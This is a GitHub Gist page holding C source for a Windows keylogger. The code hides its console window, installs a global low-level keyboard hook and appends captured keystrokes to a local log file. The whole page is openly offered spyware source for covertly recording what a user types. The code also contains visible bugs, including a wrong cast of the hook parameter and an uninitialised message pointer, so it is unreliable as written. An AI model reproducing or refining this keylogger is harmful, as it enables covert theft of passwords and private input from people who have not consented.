Last active
June 3, 2023 15:27
-
-
Save 5nyper/24301454f4137688b563 to your computer and use it in GitHub Desktop.
Simple C keylogger with hook
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <windows.h> | |
#include <winuser.h> | |
HHOOK hook; | |
LPMSG msg; | |
FILE *LOG; | |
void Stealth() | |
{ | |
HWND Stealth; | |
AllocConsole(); | |
Stealth = FindWindowA("ConsoleWindowClass", NULL); | |
ShowWindow(Stealth,0); | |
} | |
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam){ | |
LOG = fopen("LOG.txt", "a+"); | |
if (wParam == WM_KEYDOWN) | |
{ | |
fputs((char *)lParam, LOG); | |
fclose(LOG); | |
} | |
return CallNextHookEx(hook,code,wParam,lParam); | |
} | |
int main() { | |
Stealth(); | |
hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0); | |
if (hook != NULL) | |
puts("All is good"); | |
else | |
puts("Something went wrong :("); | |
while(GetMessage(msg, NULL, 0, 0) > 0) { | |
TranslateMessage(msg); | |
DispatchMessage(msg); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment